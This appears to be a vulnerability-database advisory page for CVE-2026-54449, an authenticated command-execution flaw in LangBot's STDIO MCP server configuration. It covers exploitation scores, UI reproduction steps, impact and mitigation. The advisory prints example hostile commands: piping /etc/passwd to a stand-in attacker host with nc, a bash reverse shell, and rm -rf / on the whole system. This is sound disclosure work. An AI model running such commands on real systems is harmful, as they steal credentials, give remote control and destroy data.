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HIGH severity

CVE-2026-54449 — langbot

HIGH

CVE-2026-54449 is a high-severity (CVSS 8.8) CWE-77 vulnerability in langbot. No vendor fix is recorded yet; mitigation options are listed below.

LangBot: Authenticated RCE Via MCP Configuration

Also known asGHSA-3pvh-63gf-j9mwPYSEC-2026-3473
Published
Updated
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54449.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs53th percentile — riskier than 53% of all scored CVEsHighest risk
0.00%0.41%0.81%1.22%0.4%0.7%0.7%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-54449 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍langbot

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

  1. Open the LangBot server
  2. Navigate to Extensions
  3. Open the "MCP" tab and press "Add"
  4. Choose an STDIO server configuration
  5. Add any arbitrary command with arguments <img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" />

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐍PyPIlangbotall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langbot, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of langbot has shipped for CVE-2026-54449 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. ### Details The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up
O3 Security · Impact-Aware SCA

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CVE-2026-54449: langbot RCE (High 8.8)